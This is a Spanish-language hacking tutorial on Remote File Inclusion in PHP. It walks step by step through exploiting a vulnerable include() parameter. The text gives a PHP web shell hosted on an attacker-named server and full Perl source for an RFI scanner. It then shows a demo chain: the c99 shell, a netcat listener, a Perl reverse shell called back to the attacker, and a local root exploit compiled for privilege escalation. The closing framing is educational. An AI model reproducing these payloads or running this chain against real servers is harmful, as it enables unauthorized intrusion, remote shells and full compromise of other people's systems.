Sie sind auf Seite 1von 13

REMOTE FILE INCLUSION 0x00 INTRODUCCION

Esta ocacion tratare el tema de RFI que significa Remote file inclusion (Inclusion de archivo remoto), esto es una vulnerabilidad que afecta unicamente a paginas dinamicas programadas en PHP, consiste en enlazar archivos ubicados en un servidor remoto. Al igual que muchas bulneravilidades WEB esta tambien se deve a una mala programacion y validacion por parte del desarrollador. En palabras mas simples el RFI consiste en que un atacante aprovechando una mala programacio realizada sobre funciones de inclucion de archivos de PHP, este atacante manda a llamar un archivo en otro servidor el cual contiene scripts maliciosos que quedan incrustados en el codigo PHP original permitiendo tener el control de la aplicacion y del servidor. Otra explicacion (por mi amigo Pyro): RFI se aprovecha del uso irresponsable de las funciones include y require, las cuales, debido al limitado conocimiento del programador y las pocas o nulas validaciones que realiza antes de incluir una variable recibida por parametro de URL, pueden ser aprovechadas por usuarios maliciosos para incluir scripts programados para explotar dicha vulnerabilidad. Muchas ocaciones hemos visto paginas WEB que permanecen estaticas y que solo cambian el contenido en un area en particular. La seleccion del contenido que cambia casi siempre se manda a llamar mediante una variable GET (En la URL). Ejemplo: http://www.miweb.com/index.php?nav=home.php <------- Manda a llamar el home http://www.miweb.com/index.php?nav=otracosa.php <------- Manda a llamar otracosa Esto se logra gracias a que PHP cuenta con funciones de inclusion de archivos como require e include, estas funciones son de gran ayuda pero si no se maneja con cuidado puede comprometer nuestro sistema. <?php //En alguna seccion del codigo de la pagina aparece algo como esto include $_GET['nav']; ?> En el presente texto veremeos la forma de detectar si una WEB es vulnerable e iremos paso a paso atravez de una ataque, la practica la hago sobre un sistema operativo opensuse 11 en el cual corre apache 1.3.4, y con una WEBapp que he preparado . Para iniciar las pruebas es necesario tener conocimiento de algunos conceptos asi como contar con algunas herramientas y programas los cuales listo a continuacion.

Conceptos basicos: phpshell: Es un script programado en php el cual tiene como fin ejecutar comandos de shell en un servidor. Los phpshell mas famosos son "c99", c40, c57 Shell inversa(Reverse shell): Es un script desarrollado en cualquier lenguaje, esta se aloja en el servidor proporcionandonos una shell que se conecta a nosotroscon con el fin de evadir firewalls y routers. Local root exploit: Son aplicaciones ejecutables o interpetadas que ejecutan alguna vulneravilidad del sistema local que por lo regular es algun desboramientos de buffer (bufer overflows) o condiciones de carrera que finalmente nos permiten escalar privilegios. Herramientas y programas:

PHPShell c99.txt : Ya explique que es una phpshell!! Shell inversa datachaos dc.pl : Shell inversa desarrollada en lenguaje perl. Local root exploit: El correspondiente a la vercion del kernel del servidor atacado. netcat: Programa que permite abrir puertos TCP/UDP en un Host, quedando a la escucha en un puerto determinado y asociando una shell a ese puerto. perl

Burbuja Cultural Condiciones de carrera: Es cuando dos o mas procesos escriben o leen de un area compartida (Dispositivo, variable, fucnion, etc), donde la ejecucion de intrucciones de cada proceso dependera de la carrera entre ellos. Durante este lapso donde no existe la atomicidad se pueden obtener privilegios y escribir sobre archivos protegidos del sistema.

0x01 BUSCANDO UN WEB BULNERABLE.


El remote file inclusion consiste en tomar el control sobre las variables que controlan el llamado de los archivos incluidos, pudiendo hacer llamados a archivos alojados en otros servidores los cuales contienen codigo malicioso. Una forma de saber si una web es vulnerable es pasar por la variable GET un llamado a una URL remota y si visualizamos su contenido en pantalla sera vulnerable. Ejemplo: Http://www.miweb.com/index.php?nav=http://www.google.com Ahora presento un ejemplo cencillo de en que consistiria un ataque. Preparo un script (phpshell) en un servidor remoto que para estas pruebas llamare miservermaldito. Shell.txt <?php print system($_GET['command']); ?> la funcion system nos permitira ejecutar comandos de shell, los cuales pasaremos por la variable command. Es importante darnos cuenta que la extencion del archivo que contiene el script malicioso (phpshell) no es php, y esto es por que php siempre se ejecuta en el servidor que lo aloja, por tanto si su extencion fuera php se ejecutaria antes de ser incluido asi que cambiamos la extencion por txt. Nota: la extencion tambien puede pertenecer a una imagen (ejemplo: Shell.jpg) y solo en el caso del que el sevidor donde alojamos la shell no ejecute php podrianos dejar esa extencion. Http://www.miweb.com/index.php?nav=http://miservermaldito.com/shell.txt&command=ls Observemos que concatenamos variables con el & para que sea tomado como una segunda variable ademas de que ejecutamos ls que en linux nos da la lista de archivos y carpetas.

Todo salio bien!!

0x02 ESCANERS RFI


Un escaner de RFI nos permite realizar una busqueda automatica de la vulnerabilidad en un dominio, su funcionamiento se basa en agregar paths y variables GET posiblemente vulnerables en la URL original. Nota: Estos paths y variables son obtenidos de vulnerabilidades descubiertas en otros sistemas a travez del tiempo. Acontinuacion provare el funcionamiento de un escaner para un mejor entendimiento. 1.- Edito la phpshell.txt creada anteriormente y agrego un echo. <?php echo ESTA ES MY PHPSHELL XD; print system($_GET['command']); ?> 2.- Ejecuto un escaner RFI programado en perl y le doy lo que me valla pidiendo. (No se preocupen luego veremos el codigo del scaner).

Como podemos ver en la imprecion de pantalla hemos ingredado la URL victima, la URL de nuestra phpshell y el string de busqueda, que es el que hemos mandamos a imprimir en nuestra php-shell. Para comprovar la vulnerabilidad abrimos la url devuelta por el escaner.

0x03 COMO PROGRAMAR UN ESCANER DE RFI


Acontinuacion coloco el codigo fuente del programa que hemos usado ateriormente, tratare de esplicar a travez de comentarios su funcionamiento.

RFI-scan.pl #!/usr/bin/perl #Powered By Molder (Sombrero de paja) #Nota: el diccionario de paths RFI a sido extraido de varios sitios que publican url's vulnerables. #Impotamos las librerias necesarias con use. #LWP: este mdulo se usa para accesar servicios de internet como poner correo o leer una #pgina, maneja los objetos use HTTP::Request, use LWP::UserAgent, HTTP::Response . use LWP::UserAgent; #Quien se conecta al servidor use HTTP::Request; #Con esto pediremos la pagina como http. #permite dialogar con http. #por ejemplo incorpora la funcion get para pedir una pgina web (hacer una peticin http). use LWP::Simple; #print imprime en pantalla lo escrioto entre y \n indica un salto de linea. print "Escribe la URL a escanear (Ejemplo: http://www.dominio.com/)\n"; #<STDIN> obtiene datos desde el teclado y lo asigna a una variable. $host = <STDIN>; #chomp quita el ultimo caracter, como ingresamos desde el teclado quitara el ultimo intro chomp $host; print "\n"; # !~ Significa si no contiene, ^ indica principio de cadena, Por tanto evalu si no exite http al principio de la variable host. if($host !~ /^http:/) { $host = "http://".$host; #Si no existe lo agrega. }

#Lo mismo para la ultima diagonal, $ indica ultimo caracter. if($host !~ /\/$/) { $host = $host."/"; # Si no existe la agregamos. } print "Escribe la URL del exploit (Ejemplo: http://miservermaldito.com/miexploit.txt)\n";

$shell = <STDIN>; chomp $shell; print "\n"; if($shell !~ /^http:/) { $shell = "http://".$shell; } print "Ingresa la cadena de busqueda del eploit\n"; $cadena = <STDIN>; chomp $cadena; print "\n"; print "\nBuscando...\n\n"; #open abre un archivo y lo guarda en ARCHIVO open(ARCHIVO,'paths.txt') || die('No existe el archivo paths.txt\n'); #Recorre ARCHIVO linea por linea y no la devulbe en la variable defalt $_ while(<ARCHIVO>) { s /\n//g; #Quita cualquier \n s /\r//g; #Quita cualquier \r $path=$_; #$path obtiene el valor de $_ $urlexploit = $host.$path.$shell."?"; # Solicitamos la pagina $urlexploit my $request = HTTP::Request->new(GET=>$urlexploit); my $useragent = LWP::UserAgent->new(); $useragent->timeout(30); #Obtenemos la respuesta my $respuesta = $useragent->request($request); #Evaluamos si la respuesta fue satisfactoria if($respuesta->is_success) { #Si la respuesta contiene el string de busqueda...

if($respuesta->content =~ /$cadena/) { print "URL VULNERABLE!! EN: ".$urlexploit."\n"; $status = "vuln"; } } } #Cerramos el archivo close(ARCHIVO); #Si no existe la variable $status entonces... unless($status) { print "URL no vulnerable a RFI\n"; } Nota: El archovo paths.txt contiene algo como lo siguiente. Index.php?page= Index.php?pag= Index.php?include= etc...

0X04 FUNCIONES PELIGROSAS PHP


Estos son algunas funciones php peligrosas, solamente las menciono ya que no are todo por ustedes, creo que podran investigar que hace cada una en la ayuda de PHP. Include() Include_once() require() Require_once() eval() exec() passthru() system() popen() fopen() readfile() file() readfile() file()

0X05 DEMO RFI


Despues de haber explicado el concepto de RFI llego la hora de realizar un ejemplo que se hacerca mas a la realidad. Utilizaremos la php-shell c99, netcat, y la shell inversa dc.pl. Primero que nada subimos la php-shell a nuestro servidor: http://www.miservermaldito.com/shell/c99.txt Sabiendo que la WEB con que hemos venido practicando es vulnerable me salto todos esos pasos de exploracion y hago la inclusion: http://www.miweb.com/index.php?nav=http://www.miservermaldito.com/shell/c99.txt

La php-shell c99 tiene multiples funciones como listar archivos y directorias, crear archivos y carpetas, subir archivos, entre otras cosas. Primero aremos una prueba de ejecutar comandos de shell, pediremos que nos regrese la version de kernel del sistema operativo con el comando uname -a.

Nos responde: Linux linux-t3gk 2.6.25.16-0.1-pae #1 SMP 2008-08-21 00:34:25 +0200 i686 i686 i386 GNU/Linux por lo tanto el kernel es 2.6.25.16 asi que devemos buscar un local root exploit para esa version. Seguido de esto procedemos a subir nuestra shell inversa datachaos, lo aremos con el uploader de la php-shell c99. Nota: Tal vez el uploader no sirva en algunos servidores con php 5 devido a que la funcion $$HTTP_POST_FILES esta desactivada solo tendriamos que editar el fuente del phpshell cambiando la funcion por $_FILES. Ya que subimos datachaos.pl al servidor mediante la php-shell ejecutamos netcat en nuestra maquina local, poniendo a la escucha un puerto que sera por el que nos conectaremos al servidor atacado (puerto 666). Comando: nc -lvvp 666

Regresamos a la php-shell y ejecutamos datachaos pasandole como parametros nuestra ip y el puerto que pusimos a la escucha en netcat (la ip es local devido a k el demo se hace sobre un servidor instalado localmente). Perl dc.pl 127.0.0.1 666

Ahora vemos el netcat para ver si si cierto que nos conecto...

Ya tenemos una shell remota, ahora solo falta acceder como root con ayuda de nuestro local root exploit, por el momento estamos como como usuario no privilegiado aun que aun asi podemos ejecutar comandos. Para escalar los privilegios (rootear) yo he descargado un local root exploit programado por Ramon de Carvalho Valle desde milw0rm.

Subimos el local root exploit al servidor con la php-shell y una vez que esta en el servidor verificamos con el comando ls desde netcat.

Nota: En este caso como podran ver el local root exploit que usare esta comprimido ademas de que cuenta con un archivo run.sh que se encarga de compilar el exploit, en caso de que solo tengamos el codigo fuente generalmente en lenguaje c se compila con gcc -o exploit exploit.c . Descpmprimimos el exploit:

Entramos en la carpeta generada y ejecutamos el archivo run:

Genera el archivo ejecutable del exploit ahora solo basta ejecutarlo para escalar privilegios:

Como podemos ver ahora al ingresar como modo privilegiado no nos pide el password ademas ejecutamos el comando id que muestra el userid y grupid con el que corremos la sesion.

0X06 DESPEDIDA
Programar aplicaciones seguras puede ser muy dificil sin embargo de esto depende la integridad de las aplicaciones que diseamos, por esta razon al presentar este manual de rfi espero que los lectores mejoren sus tecnicas de programacion al mismo tiempo que aprendan un poquito de algunas tecnicas de hackeo. Y como siempre digo la seguridad no solo es tecnologioa sino un habitos. Un agradecimiento a pyr0 que alguna vez me explico los conceptos de RFI y un saludo a toda la banda hackeril. by Molder msn: molder@aztlan-hack.org email: molder@aztlan-hack.org http://www.aztlan-hack.org